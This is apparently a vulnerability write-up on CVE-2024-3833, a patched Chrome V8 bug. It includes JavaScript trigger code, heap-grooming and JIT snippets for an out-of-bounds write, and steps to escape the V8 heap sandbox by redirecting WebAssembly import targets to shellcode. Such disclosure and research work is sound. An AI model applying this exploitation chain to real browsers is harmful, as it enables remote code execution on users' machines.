Attack of the clones: Getting RCE in Chrome’s renderer with duplicate object properties

In this post, I’ll exploit CVE-2024-3833, an object corruption bug in v8, the Javascript engine of Chrome, that allows remote code execution (RCE) in the renderer sandbox of Chrome by a single visit to a malicious site.

|
| 16 minutes

In this post, I’ll exploit CVE-2024-3833, an object corruption bug in v8, the Javascript engine of Chrome, that I reported in March 2024 as bug 331383939. A similar bug, 331358160, was also reported and was assigned CVE-2024-3832. Both of these bugs were fixed in version 124.0.6367.60/.61. CVE-2024-3833 allows RCE in the renderer sandbox of Chrome by a single visit to a malicious site.

Origin trials in Chrome

New features in Chrome are sometimes rolled out as origin trials features before they are made available in general. When a feature is offered as an origin trial, web developers can register their origins with Chrome, which allows them to use the feature on the registered origin. This allows web developers to test a new feature on their website and provide feedback to Chrome, while keeping the feature disabled on websites that haven’t requested their use. Origin trials are active for a limited amount of time and anyone can register their origin to use a feature from the list of active trials. By registering the origin, the developer is given an origin trial token, which they can include in their website by adding a meta tag: <meta http-equiv="origin-trial" content="TOKEN_GOES_HERE">.

The old bug

Usually, origin trials features are enabled before any user Javascript is run. This, however, is not always true. A web page can create the meta tag that contains the trial token programmatically at any time, and Javascript can be executed before the tag is created. In some cases, the code responsible for turning on the specific origin trial feature wrongly assumes that no user Javascript has run before it, which can lead to security issues.

One example was CVE-2021-30561, reported by Sergei Glazunov of Google Project Zero. In that case, the WebAssembly Exception Handling feature would create an Exception property in the Javascript WebAssembly object when the origin trial token was detected.


let exception = WebAssembly.Exception; //<---- undefined
...
meta = document.createElement('meta');  
meta.httpEquiv = 'Origin-Trial';  
meta.content = token; 
document.head.appendChild(meta);  //<---- activates origin trial
...
exception = WebAssembly.Exception; //<---- property created

In particular, the code that creates the Exception property uses an internal function to create the property, which assumes the Exception property does not exist in the WebAssembly object. If the user created the Exception property prior to activating the trial, then Chrome would try to create another Exception property in WebAssembly. This could produce two duplicated Exception properties in WebAssembly with different values. This can then be used to cause type confusion in the Exception property, which can then be exploited to gain RCE.


WebAssembly.Exception = 1.1;
...
meta = document.createElement('meta');  
meta.httpEquiv = 'Origin-Trial';  
meta.content = token; 
document.head.appendChild(meta);  //<---- creates duplicate Exception property
...

What actually happens with CVE-2021-30561 is more complicated because the code that enables the WebAssembly Exception Handling feature does check to make sure that the WebAssembly object does not already contain a property named Exception. The check used there, however, is not sufficient and is bypassed in CVE-2021-30561 by using the Javascript Proxy object. For details of how this bypass and exploit works, I’ll refer readers to look at the original bug ticket, which contains all the details.

Another day, another bypass

Javascript Promise Integration is a WebAssembly feature that is currently in an origin trial (until October 29, 2024). Similar to the WebAssembly Exception Handling feature, it defines properties on the WebAssembly object when an origin trial token is detected by calling InstallConditionalFeatures:


void WasmJs::InstallConditionalFeatures(Isolate* isolate,
                                        Handle context) {
   ...
  // Install JSPI-related features.
  if (isolate->IsWasmJSPIEnabled(context)) {
    Handle suspender_string = v8_str(isolate, "Suspender");
    if (!JSObject::HasRealNamedProperty(isolate, webassembly, suspender_string)  //<--- 1.
             .FromMaybe(true)) {
      InstallSuspenderConstructor(isolate, context);
    }

    // Install Wasm type reflection features (if not already done).
    Handle function_string = v8_str(isolate, "Function");
    if (!JSObject::HasRealNamedProperty(isolate, webassembly, function_string)   //<--- 2.
             .FromMaybe(true)) {
      InstallTypeReflection(isolate, context);
    }
  }
}

When adding the Javascript Promise Integration (JSPI), The code above checks whether webassembly already has the properties Suspender and Function (1. and 2. in the above), if not, it’ll create these properties using InstallSuspenderConstructor and InstallTypeReflection respectively. The function InstallSuspenderConstructor uses InstallConstructorFunc to create the Suspender property on the WebAssembly object:


void WasmJs::InstallSuspenderConstructor(Isolate* isolate,
                                         Handle context) {
  Handle webassembly(context->wasm_webassembly_object(), isolate);  //<--- 3.
  Handle suspender_constructor = InstallConstructorFunc(
      isolate, webassembly, "Suspender", WebAssemblySuspender);
  ...
}

The problem is, in InstallSuspenderConstructor, the WebAssembly object comes from the wasm_webassembly_object property of context (3. in the above), while the WebAssembly object that is checked in InstallConditionalFeatures comes from the property WebAssembly of the global object (which is the same as the global WebAssembly variable):


void WasmJs::InstallConditionalFeatures(Isolate* isolate,
                                        Handle context) {
  Handle global = handle(context->global_object(), isolate);
  // If some fuzzer decided to make the global object non-extensible, then
  // we can't install any features (and would CHECK-fail if we tried).
  if (!global->map()->is_extensible()) return;

  MaybeHandle maybe_wasm =
      JSReceiver::GetProperty(isolate, global, "WebAssembly");

The global WebAssembly variable can be changed to any user defined object by using Javascript:


WebAssembly = {}; //<---- changes the WebAssembly global variable

While this changes the value of WebAssembly, the wasm_webassembly_object cached in context is not affected. It is therefore possible to first define a Suspender property on the WebAssembly object, then set the WebAssembly variable to a different object and then activate the Javascript Promise Integration origin trial to create a duplicate Suspender in the original WebAssembly object:


WebAssembly.Suspender = {};
delete WebAssembly.Suspender;
WebAssembly.Suspender = 1;
//stores the original WebAssembly object in oldWebAssembly
var oldWebAssembly = WebAssembly;
var newWebAssembly = {};
WebAssembly = newWebAssembly;
//Activate trial
meta = document.createElement('meta');  
meta.httpEquiv = 'Origin-Trial';  
meta.content = token; 
document.head.appendChild(meta);  //<---- creates duplicate Suspender property in oldWebAssembly
%DebugPrint(oldWebAssembly);

When the origin trial is triggered, InstallConditionalFeatures first checks that the Suspender property is absent from the WebAssembly global variable (which is newWebAssembly in the above). It then proceeds to create the Suspender property in context->wasm_webassembly_object (which is oldWebAssembly in the above). Doing so creates a duplicate Suspender property in oldWebAssembly, much like what happened in CVE-2021-30561.


DebugPrint: 0x2d5b00327519: [JS_OBJECT_TYPE] in OldSpace
 - map: 0x2d5b00387061  [DictionaryProperties]
 - prototype: 0x2d5b003043e9 
 - elements: 0x2d5b000006f5  [HOLEY_ELEMENTS]
 - properties: 0x2d5b0034a8fd 
 - All own properties (excluding elements): {
   ...
   Suspender: 0x2d5b0039422d  (data, dict_index: 20, attrs: [W_C])
   ...
   Suspender: 1 (data, dict_index: 19, attrs: [WEC])

This causes oldWebAssembly to have 2 Suspender properties that are stored at different offsets. I reported this issue as 331358160 and it was assigned CVE-2024-3832.

The function InstallTypeReflection suffers a similar problem but have some extra issues:


void WasmJs::InstallTypeReflection(Isolate* isolate,
                                   Handle context) {
  Handle webassembly(context->wasm_webassembly_object(), isolate);

#define INSTANCE_PROTO_HANDLE(Name) \
  handle(JSObject::cast(context->Name()->instance_prototype()), isolate)
  ...
  InstallFunc(isolate, INSTANCE_PROTO_HANDLE(wasm_tag_constructor), "type",  //<--- 1.
              WebAssemblyTableType, 0, false, NONE,
              SideEffectType::kHasNoSideEffect);
  ...
#undef INSTANCE_PROTO_HANDLE
}

The function InstallTypeReflection also defines a type property in various other objects. For example, in 1., the property type is created in the prototype object of the wasm_tag_constructor, without checking whether the property already existed:


var x = WebAssembly.Tag.prototype;
x.type = {};
meta = document.createElement('meta');
meta.httpEquiv = 'Origin-Trial';
meta.content = token;
document.head.appendChild(meta);  //<--- creates duplicate type property on x

This then allows duplicate type properties to be created on WebAssembly.Tag.prototype. This issue was reported as 331383939 and was assigned CVE-2024-3833.

A new exploit

The exploit for CVE-2021-30561 relies on creating duplicate properties of “fast objects.” In v8, fast objects store their properties in an array (some properties are also stored inside the object itself). However, a hardening patch has since landed, which checks for duplicates when adding properties to a fast object. As such, it is no longer possible to create fast objects with duplicate properties.

It is, however, still possible to use the bug to create duplicate properties in “dictionary objects.” In v8, property dictionaries are implemented as NameDictionary. The underlying storage of a NameDictionary is implemented as an array, with each element being a tuple of the form (Key, Value, Attribute), where Key is the name of the property. When adding a property to the NameDictionary, the next free entry in the array is used to store this new tuple. With the bug, it is possible to create different entries in the property dictionary with a duplicate Key. In the report of CVE-2023-2935, Sergei Glazunov showed how to exploit the duplicate property primitive with dictionary objects. This, however, relies on being able to create the duplicate property as an AccessorInfo property, which is a special kind of property in v8 that is normally reserved for builtin objects. This, again, is not possible in the current case. So, I need to find a new way to exploit this issue.

The idea is to look for some internal functions or optimizations that will go through all the properties of an object, but not expect properties to be duplicated. One such optimization that comes to mind is object cloning.

Attack of the clones

When an object is copied using the spread syntax, a shallow copy of the original object is created:


const clonedObj = { ...obj1 };

In v8, this is implemented as the CloneObject bytecode:


0x39b300042178 @    0 : 80 00 00 29       CreateObjectLiteral [0], [0], #41
...
0x39b300042187 @   15 : 82 f7 29 05       CloneObject r2, #41, [5]

When a function containing the bytecode is first run, inline cache code is generated and used to handle the bytecode in subsequent calls. While handling the bytecode, the inline cache code will also collect information about the input object (obj1) and generate optimized inline cache handlers for inputs of the same type. When the inline cache code is first run, there is no information about previous input objects, and no cached handler is available. As a result, an inline cache miss is detected and CloneObjectIC_Miss is used to handle the bytecode. To understand how the CloneObject inline cache works and how it is relevant to the exploit, I’ll recap some basics in object types and properties in v8. Javascript objects in v8 store a map field that specifies the type of the object, and, in particular, it specifies how properties are stored in the object:


x = { a : 1};
x.b = 1;
%DebugPrint(x);

The output of %DebugPrint is as follows:


DebugPrint: 0x1c870020b10d: [JS_OBJECT_TYPE]
 - map: 0x1c870011afb1  [FastProperties]
 ...
 - properties: 0x1c870020b161 
 - All own properties (excluding elements): {
    0x1c8700002ac1: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object
    0x1c8700002ad1: [String] in ReadOnlySpace: #b: 1 (const data field 1), location: properties[0]
 }

We see that x has two properties—one is stored in the object (a) and the other stored in a PropertyArray. Note that the length of the PropertyArray is 3 (PropertyArray[3]), while only one property is stored in the PropertyArray. The length of a PropertyArray is like the capacity of a std::vector in C++. Having a slightly bigger capacity avoids having to extend and reallocate the PropertyArray every time a new property is added to the object.

The map of the object uses the fields inobject_properties and unused_property_fields to indicate how many properties are stored in the object and how much space is left in the PropertyArray. In this case, we have 2 free spaces (3 (PropertyArray length) - 1 (property in the array) = 2).


0x1c870011afb1: [Map] in OldSpace
 - map: 0x1c8700103c35 <MetaMap (0x1c8700103c85 )>
 - type: JS_OBJECT_TYPE
 - instance size: 16
 - inobject properties: 1
 - unused property fields: 2
...

When a cache miss happens, CloneObjectIC_Miss first tries to determine whether the result of the clone (the target) can use the same map as the original object (the source) by examining the map of the source object using GetCloneModeForMap (1. in the following):


RUNTIME_FUNCTION(Runtime_CloneObjectIC_Miss) {
  HandleScope scope(isolate);
  DCHECK_EQ(4, args.length());
  Handle source = args.at(0);
  int flags = args.smi_value_at(1);

  if (!MigrateDeprecated(isolate, source)) {
        ...
        FastCloneObjectMode clone_mode =
            GetCloneModeForMap(source_map, flags, isolate);  //<--- 1.
        switch (clone_mode) {
          case FastCloneObjectMode::kIdenticalMap: {
            ...
          }
          case FastCloneObjectMode::kEmptyObject: {
            ...
          }
          case FastCloneObjectMode::kDifferentMap: {
            ...
          }
          ...
        }
     ...
  }
  ...
}

The case that is relevant to us is the FastCloneObjectMode::kDifferentMap mode.


case FastCloneObjectMode::kDifferentMap: {
  Handle res;
  ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
      isolate, res, CloneObjectSlowPath(isolate, source, flags));   //<----- 1.
  Handle result_map(Handle::cast(res)->map(),
                         isolate);
  if (CanFastCloneObjectWithDifferentMaps(source_map, result_map,
                                          isolate)) {
    ...
    nexus.ConfigureCloneObject(source_map,                          //<----- 2.
                               MaybeObjectHandle(result_map));
...

In this mode, a shallow copy of the source object is first made via the slow path (1. in the above). The handler of the inline cache is then encoded as a pair of maps consisting of the map for the source and target objects respectively (2. in the above).

From now on, if another object with the source_map is being cloned, the inline cache handler is used to clone the object. Essentially, the source object is copied as follows:

  1. Make a copy of the PropertyArray of the source object:
    
          TNode source_property_array = CAST(source_properties);
    
          TNode length = LoadPropertyArrayLength(source_property_array);
          GotoIf(IntPtrEqual(length, IntPtrConstant(0)), &allocate_object);
    
          TNode property_array = AllocatePropertyArray(length);
          FillPropertyArrayWithUndefined(property_array, IntPtrConstant(0), length);
          CopyPropertyArrayValues(source_property_array, property_array, length,
                                  SKIP_WRITE_BARRIER, DestroySource::kNo);
          var_properties = property_array;
    
  2. Allocate the target object and use result_map as its map.
    
      TNode object = UncheckedCast(AllocateJSObjectFromMap(
            result_map.value(), var_properties.value(), var_elements.value(),
            AllocationFlag::kNone,
            SlackTrackingMode::kDontInitializeInObjectProperties));
    
  3. Copy the in-object properties from source to target.
    
        BuildFastLoop(
            result_start, result_size,
            [=](TNode field_index) {
              ...
              StoreObjectFieldNoWriteBarrier(object, result_offset, field);
            },
            1, LoopUnrollingMode::kYes, IndexAdvanceMode::kPost);
    

What happens if I try to clone an object that has a duplicated property? When the code is first run, CloneObjectSlowPath is called to allocate the target object, and then copy each property from the source to target. However, the code in CloneObjectSlowPath handles duplicate properties properly, so when the duplicated property in source is encountered, instead of creating a duplicate property in target, the existing property is overwritten instead. For example, if my source object has this following layout:


DebugPrint: 0x38ea0031b5ad: [JS_OBJECT_TYPE] in OldSpace
 - map: 0x38ea00397745  [FastProperties]
 ...
 - properties: 0x38ea00355e85 
 - All own properties (excluding elements): {
    0x38ea00004045: [String] in ReadOnlySpace: #type: 0x38ea0034b171  (const data field 0), location: in-object
    0x38ea0038257d: [String] in OldSpace: #a1: 1 (const data field 1), location: in-object
    0x38ea0038258d: [String] in OldSpace: #a2: 1 (const data field 2), location: in-object
    0x38ea0038259d: [String] in OldSpace: #a3: 1 (const data field 3), location: in-object
    0x38ea003825ad: [String] in OldSpace: #a4: 1 (const data field 4), location: properties[0]
    0x38ea003825bd: [String] in OldSpace: #a5: 1 (const data field 5), location: properties[1]
    0x38ea003825cd: [String] in OldSpace: #a6: 1 (const data field 6), location: properties[2]
    0x38ea00004045: [String] in ReadOnlySpace: #type: 0x38ea00397499  (const data field 7), location: properties[3]

Which has a PropertyArray of length 4, with a duplicated type as the last property in the PropertyArray. The target resulting from cloning this object will have the first type property overwritten:


DebugPrint: 0x38ea00355ee1: [JS_OBJECT_TYPE]
 - map: 0x38ea003978b9  [FastProperties]
 ...
 - properties: 0x38ea00356001 
 - All own properties (excluding elements): {
    0x38ea00004045: [String] in ReadOnlySpace: #type: 0x38ea00397499  (data field 0), location: in-object
    0x38ea0038257d: [String] in OldSpace: #a1: 1 (const data field 1), location: in-object
    0x38ea0038258d: [String] in OldSpace: #a2: 1 (const data field 2), location: in-object
    0x38ea0038259d: [String] in OldSpace: #a3: 1 (const data field 3), location: in-object
    0x38ea003825ad: [String] in OldSpace: #a4: 1 (const data field 4), location: properties[0]
    0x38ea003825bd: [String] in OldSpace: #a5: 1 (const data field 5), location: properties[1]
    0x38ea003825cd: [String] in OldSpace: #a6: 1 (const data field 6), location: properties[2]

Note that the target has a PropertyArray of length 3 and also three properties in the PropertyArray (properties #a4..#a6, which have location in properties) In particular, there is no unused_property_fields in the target object:


0x38ea003978b9: [Map] in OldSpace
 - map: 0x38ea003034b1 <MetaMap (0x38ea00303501 )>
 - type: JS_OBJECT_TYPE
 - instance size: 28
 - inobject properties: 4
 - unused property fields: 0

While this may look like a setback as the duplicated property does not get propagated to the target object, the real magic happens when the inline cache handler takes over. Remember that, when cloning with the inline cache handler, the resulting object has the same map as the target object from CloneObjectSlowPath, while the PropertyArray is a copy of the PropertyArray of the source object. That means the clone target from inline cache handler has the following property layout:


DebugPrint: 0x38ea003565c9: [JS_OBJECT_TYPE]
 - map: 0x38ea003978b9  [FastProperties]
 ...
 - properties: 0x38ea003565b1 
 - All own properties (excluding elements): {
    0x38ea00004045: [String] in ReadOnlySpace: #type: 0x38ea0034b171  (data field 0), location: in-object
    0x38ea0038257d: [String] in OldSpace: #a1: 1 (data field 1), location: in-object
    0x38ea0038258d: [String] in OldSpace: #a2: 1 (data field 2), location: in-object
    0x38ea0038259d: [String] in OldSpace: #a3: 1 (data field 3), location: in-object
    0x38ea003825ad: [String] in OldSpace: #a4: 1 (data field 4), location: properties[0]
    0x38ea003825bd: [String] in OldSpace: #a5: 1 (data field 5), location: properties[1]
    0x38ea003825cd: [String] in OldSpace: #a6: 1 (data field 6), location: properties[2]

Note that it has a PropertyArray of length 4, but only three properties in the array, leaving one unused property. However, its map is the same as the one used by CloneObjectSlowPath (0x38ea003978b9), which has no unused_property_fields:


0x38ea003978b9: [Map] in OldSpace
 - map: 0x38ea003034b1 <MetaMap (0x38ea00303501 )>
 - type: JS_OBJECT_TYPE
 - instance size: 28
 - inobject properties: 4
 - unused property fields: 0

So, instead of getting an object with a duplicated property, I end up with an object that has an inconsistent unused_property_fields and PropertyArray. Now, if I add a new property to this object, a new map will be created to reflect the new property layout of the object. This new map has an unused_property_fields based on the old map, which is calculated in AccountAddedPropertyField. Essentially, if the old unused_property_fields is positive, this decreases the unused_property_fields by one to account for the new property being added. And if the old unused_property_fields is zero, then the new unused_property_fields is set to two, accounting for the fact that the PropertyArray is full and has to be extended.

On the other hand, the decision to extend the PropertyArray is based on its length rather than unused_property_fields of the map:


void MigrateFastToFast(Isolate* isolate, Handle object,
                       Handle new_map) {
    ...
    // Check if we still have space in the {object}, in which case we
    // can also simply set the map (modulo a special case for mutable
    // double boxes).
    FieldIndex index = FieldIndex::ForDetails(*new_map, details);
    if (index.is_inobject() || index.outobject_array_index() property_array(isolate)->length()) {
      ...
      object->set_map(*new_map, kReleaseStore);
      return;
    }
    // This migration is a transition from a map that has run out of property
    // space. Extend the backing store.
    int grow_by = new_map->UnusedPropertyFields() + 1;
    ...  

So, if I have an object that has zero unused_property_fields but a space left in the PropertyArray, (that is, length = existing_property_number + 1) then the PropertyArray will not be extended when I add a new property. So, after adding a new property, the PropertyArray will be full. However, as mentioned before, unused_property_fields is updated independently and it will be set to two as if the PropertyArray is extended:


DebugPrint: 0x2575003565c9: [JS_OBJECT_TYPE]
 - map: 0x257500397749  [FastProperties]
 ...
 - properties: 0x2575003565b1 
 - All own properties (excluding elements): {
    0x257500004045: [String] in ReadOnlySpace: #type: 0x25750034b171  (data field 0), location: in-object
    0x25750038257d: [String] in OldSpace: #a1: 1 (data field 1), location: in-object
    0x25750038258d: [String] in OldSpace: #a2: 1 (data field 2), location: in-object
    0x25750038259d: [String] in OldSpace: #a3: 1 (data field 3), location: in-object
    0x2575003825ad: [String] in OldSpace: #a4: 1 (data field 4), location: properties[0]
    0x2575003825bd: [String] in OldSpace: #a5: 1 (data field 5), location: properties[1]
    0x2575003825cd: [String] in OldSpace: #a6: 1 (data field 6), location: properties[2]
    0x257500002c31: [String] in ReadOnlySpace: #x: 1 (const data field 7), location: properties[3]
 }
0x257500397749: [Map] in OldSpace
 - map: 0x2575003034b1 <MetaMap (0x257500303501 )>
 - type: JS_OBJECT_TYPE
 - instance size: 28
 - inobject properties: 4
 - unused property fields: 2

This is important because the JIT compiler of v8, TurboFan, uses unused_property_fields to decide whether PropertyArray needs to be extended:


JSNativeContextSpecialization::BuildPropertyStore(
    Node* receiver, Node* value, Node* context, Node* frame_state, Node* effect,
    Node* control, NameRef name, ZoneVector* if_exceptions,
    PropertyAccessInfo const& access_info, AccessMode access_mode) {
    ...
    if (transition_map.has_value()) {
      // Check if we need to grow the properties backing store
      // with this transitioning store.
      ...
      if (original_map.UnusedPropertyFields() == 0) {
        DCHECK(!field_index.is_inobject());

        // Reallocate the properties {storage}.
        storage = effect = BuildExtendPropertiesBackingStore(
            original_map, storage, effect, control);

So, by adding new properties to an object with two unused_property_fields and a full PropertyArray via JIT, I’ll be able to write to PropertyArray out-of-bounds (OOB) and overwrite whatever that is allocated after it.

Creating a fast object with duplicate properties

In order to cause the OOB write in PropertyArray, I first need to create a fast object with duplicate properties. As mentioned before, a hardening patch has introduced a check for duplicates when adding properties to a fast object, and I therefore cannot create a fast object with duplicate properties directly. The solution is to first create a dictionary object with duplicate properties using the bug, and then change the object into a fast object. To do so, I’ll use WebAssembly.Tag.prototype to trigger the bug:


var x = WebAssembly.Tag.prototype;
x.type = {};
//delete properties results in dictionary object
delete x.constructor;
//Trigger bug to create duplicated type property
...

Once I’ve got a dictionary object with a duplicated property, I can change it to a fast object by using MakePrototypesFast, which can be triggered via property access:


var y = {};
//setting x to the prototype of y
var y.__proto__ = x;
//Property access of `y` calls MakePrototypeFast on x
y.a = 1;
z = y.a;

By making x to be the prototype of an object y and then accessing a property of y, MakePrototypesFast is called to change x into a fast object with duplicate properties. After this, I can clone x to trigger an OOB write in the PropertyArray.

Exploiting OOB write in PropertyArray

To exploit the OOB write in the PropertyArray, let’s first check and see what is allocated after the PropertyArray. Recall that the PropertyArray is allocated in the inline cache handler. From the handler code, I can see that PropertyArray is allocated right before the target object is allocated:


void AccessorAssembler::GenerateCloneObjectIC() {
    ...
      TNode property_array = AllocatePropertyArray(length);  //<--- property_array allocated
      ...
      var_properties = property_array;
    }

    Goto(&allocate_object);
    BIND(&allocate_object);
    ...
    TNode object = UncheckedCast(AllocateJSObjectFromMap(  //<--- target object allocated
        result_map.value(), var_properties.value(), var_elements.value(),
        AllocationFlag::kNone,
        SlackTrackingMode::kDontInitializeInObjectProperties));

As v8 allocates objects linearly, an OOB write therefore allows me to alter the internal fields of the target object. To exploit this bug, I’ll overwrite the second field of the target object, the properties field, which stores the address of the PropertyArray for the target object. This involves creating JIT functions to add two properties to the target object.


a8 = {c : 1};
...
function transition_store(x) {
  x.a7 = 0x100;
}
function transition_store2(x) {
  x.a8 = a8;
}
... //JIT optimize transition_store and transition_store2
transition_store(obj);
//Causes the object a8 to be interpreted as PropertyArray of obj
transition_store2(obj);

When storing the property a8 to the corrupted object obj that has inconsistent PropertyArray and unused_property_fields, an OOB write to the PropertyArray will overwrite PropertyArray of obj with the Javascript object a8. This can then be exploited by carefully arranging objects in the v8 heap. As the objects are allocated in the v8 heap linearly, the heap can easily be arranged by allocating objects in order. For example, in the following code:


var a8 = {c : 1};
var a7 = [1,2];

The v8 heap around the object a8 looks as follows:

The left hand side shows the objects a8 and a7. The fields map, properties, and elements are internal fields in the C++ objects that correspond to the Javascript objects. The right hand side represents the view of the memory as the PropertyArray of obj (when the PropertyArray of obj is set to the address of a8).

The left hand side shows the objects a8 and a7. The fields map, properties, and elements are internal fields in the C++ objects that correspond to the Javascript objects. The right hand side represents the view of the memory as the PropertyArray of obj (when the PropertyArray of obj is set to the address of a8). A PropertyArray has two internal fields, map and length. When the object a8 is type-confused with a PropertyArray, its properties field, which is the address of its PropertyArray, is interpreted as the length of the PropertyArray of obj. As an address is usually a large number, this allows further OOB read and write to the PropertyArray of obj.

A property, ai+3 in the PropertyArray is going to align with the length field of the Array a7. By writing this property, the length of the Array a7 can be overwritten. This allows me to achieve an OOB write in a Javascript array, which can be exploited in a standard way. However, in order to overwrite the length field, I must keep adding properties to obj until I reach the length field. This, unfortunately, means that I will also overwrite the map, properties and elements fields, which will ruin the Array a7.

To avoid overwriting the internal fields of a7, I’ll instead create a7 so that its PropertyArray is allocated before it. This can be achieved by creating a7 with cloning:


var obj0 = {c0 : 0, c1 : 1, c2 : 2, c3 : 3};
obj0.c4 = {len : 1};
function clone0(x) {
  return {...x};
}
//run clone0(obj0) a few times to create inline cache handler
...
var a8 = {c : 1};
//inline cache handler used to create a7
var a7 = clone0(obj0);

The object obj0 has five fields, with the last one, c4 stored in the PropertyArray:


DebugPrint: 0xad0004a249: [JS_OBJECT_TYPE]
    ...
    0xad00198b45: [String] in OldSpace: #c4: 0x00ad0004a31d  (const data field 4), location: properties[0]

When cloning obj0 using the inline cache handler in the function clone0, recall that the PropertyArray of the target object (a7 in this case) is allocated first, and therefore the PropertyArray of a7 will be allocated right after the object a8, but before a7:


//address of a8
DebugPrint: 0xad0004a7fd: [JS_OBJECT_TYPE]
//DebugPrint of a7
DebugPrint: 0xad0004a83d: [JS_OBJECT_TYPE]
 - properties: 0x00ad0004a829 
 - All own properties (excluding elements): {
    ...
    0xad00198b45: [String] in OldSpace: #c4: 0x00ad0004a31d  (const data field 4), location: properties[0]
 }

As we can see, the address of a8 is 0xad0004a7fd, while the address of the PropertyArray of a7 is at 0x00ad0004a829, and a7 is at 0xad0004a83d. This leads to the following memory layout:

Memory layout diagram for objects a8 and a7

With this heap layout, I can overwrite the property c4 of a7 by writing to a property ai in obj that aligns to c4. Although map and length of the PropertyArray will also be overwritten, this does not seem to affect property access of a7. I can then create a type confusion between Javascript Object and Array by using optimized property loading in the JIT compiler.


function set_length(x) {
  x.c4.len = 1000;
}

When the function set_length is optimized with a7 as its input x, because the property c4 of a7 is an object that has a constant map (it is always {len : 1}), the map of this property is stored in the map of a7. The JIT compiler makes use of this information to optimize the property access of x.c4.len. As long as the map of x remains the same as the map of a7, x.c4 will have the same map as {len : 1} and therefore the property len of x.c4 can be accessed by using memory offset directly, without checking the map of x.c4. However, by using the OOB write in the PropertyArray to change a7.c4 into a double Array, corrupted_arr, the map of a7 will not change, and the JIT compiled code for set_length will treat a7.c4 as if it still has the same map as {len : 1}, and write directly to the memory offset corresponding to the len property of a7.c4. As a7.c4 is now an Array object, corrupted_arr, this will overwrite the length property of corrupted_arr, which allows me to access corrupted_arr out-of-bounds. Once an OOB access to corrupted_arr is achieved, gaining arbitrary read and write in the v8 heap is rather straightforward. It essentially consists of the following steps:

  1. First, place an Object Array after corrupted_arr, and use the OOB read primitive in corrupted_arr to read the addresses of the objects stored in this array. This allows me to obtain the address of any V8 object.
  2. Place another double array, writeArr after corrupted_arr, and use the OOB write primitive in corrupted_arr to overwrite the element field of writeArr to an object address. Accessing the elements of writeArr then allows me to read/write to arbitrary addresses.

Bypassing the v8 heap sandbox

The recently introduced v8 heap sandbox isolates the v8 heap from other process memory, such as executable code, and prevents memory corruptions within the v8 heap from accessing memory outside of the heap. To gain code execution, a way to escape the heap sandbox is needed. As the bug was reported soon after the Pwn2Own contest, I decided to check the commits to see if there was any sandbox escape that was patched as a result of the contest. Sure enough, there was a commit that appeared to be fixing a heap sandbox escape, which I assumed was used with an entry to the Pwn2Own contest.

When creating a WebAssembly.Instance object, objects from Javascript or other WebAssembly modules can be imported and be used in the instance:


const importObject = {
  imports: {
    imported_func(arg) {
      console.log(arg);
    },
  },
};
var mod = new WebAssembly.Module(wasmBuffer);
const instance = new WebAssembly.Instance(mod, importObject);

In this case, the imported_func is imported to the instance and can be called by WebAssembly functions defined in the WebAssembly module that imports them:


(module
  (func $i (import "imports" "imported_func") (param i32))
  (func (export "exported_func")
    i32.const 42
    call $i
  )

To implement this in v8, when the WebAssembly.Instance is created, a FixedAddressArray was used to store addresses of imported functions:


Handle WasmTrustedInstanceData::New(
    Isolate* isolate, Handle module_object) {
  ...
  const WasmModule* module = module_object->module();

  int num_imported_functions = module->num_imported_functions;
  Handle imported_function_targets =
      FixedAddressArray::New(isolate, num_imported_functions);
  ...

Which is then used as the call target when the imported function is called. As this FixedAddressArray lives in the v8 heap, it can easily be modified once I’ve gained arbitrary read and write primitives in the v8 heap. I can therefore rewrite the imported function targets, so that when an imported function is called in WebAssembly code, it’ll jump to the address of some shell code that I prepared to gain code execution.

In particular, if the imported function is a Javascript Math function, then some wrapper code is compiled and used as a call target in imported_function_targets:


bool InstanceBuilder::ProcessImportedFunction(
    Handle trusted_instance_data, int import_index,
    int func_index, Handle module_name, Handle import_name,
    Handle value, WellKnownImport preknown_import) {
    ...
    default: {
      ...
      WasmCode* wasm_code = native_module->import_wrapper_cache()->Get(   //kind() == WasmCode::kWasmToJsWrapper) {
        ...
      } else {
        // Wasm math intrinsics are compiled as regular Wasm functions.
        DCHECK(kind >= ImportCallKind::kFirstMathIntrinsic &&
               kind instance_object(),  //instruction_start());
      }

As the compiled wrapper code is stored in the same rx region where other WebAssembly code compiled by the Liftoff compiler is stored, I can create WebAssembly functions that store numerical data, and rewrite the imported_function_targets to jump to the middle of these data so that they get interpreted as code and be executed. The idea is similar to that of JIT spraying, which was a method to bypass the heap sandbox, but has since been patched. As the wrapper code and the WebAssembly code that I compiled are in the same region, the offsets between them can be computed, this allows me to jump precisely to the data in the WebAssembly code that I crafted to execute arbitrary shell code.

The exploit can be found here with some set-up notes.

Conclusion

In this post, I’ve looked at CVE-2024-3833, a bug that allows duplicate properties to be created in a v8 object, which is similar to the bug CVE-2021-30561. While the method to exploit duplicate properties in CVE-2021-30561 is no longer available due to code hardening, I was able to exploit the bug in a different way.

  1. First transfer the duplicate properties into an inconsistency between an object’s PropertyArray and its map.
  2. This then turns into an OOB write of the PropertyArray, which I then used to create a type confusion between a Javascript Object and a Javascript Array.
  3. Once such type confusion is achieved, I can rewrite the length of the type confused Javascript Array. This then becomes an OOB access in a Javascript Array.

Once an OOB access in an Javascript Array (corrupted_arr) is achieved, it is fairly standard to turn this into an arbitrary read and write inside the v8 heap. It essentially consists of the following steps:

  1. First, place an Object Array after corrupted_arr, and use the OOB read primitive in corrupted_arr to read the addresses of the objects stored in this array. This allows me to obtain the address of any V8 object.
  2. Place another double array, writeArr after corrupted_arr, and use the OOB write primitive in corrupted_arr to overwrite the element field of writeArr to an object address. Accessing the elements of writeArr then allows me to read/write to arbitrary addresses.

As v8 has recently implemented the v8 heap sandbox, getting arbitrary memory read and write in the v8 heap is not sufficient to achieve code execution. In order to achieve code execution, I overwrite jump targets of WebAssembly imported functions, which were stored in the v8 heap. By rewriting the jump targets to locations of shell code, I can execute arbitrary code calling imported functions in a WebAssembly module.

Written by

Related posts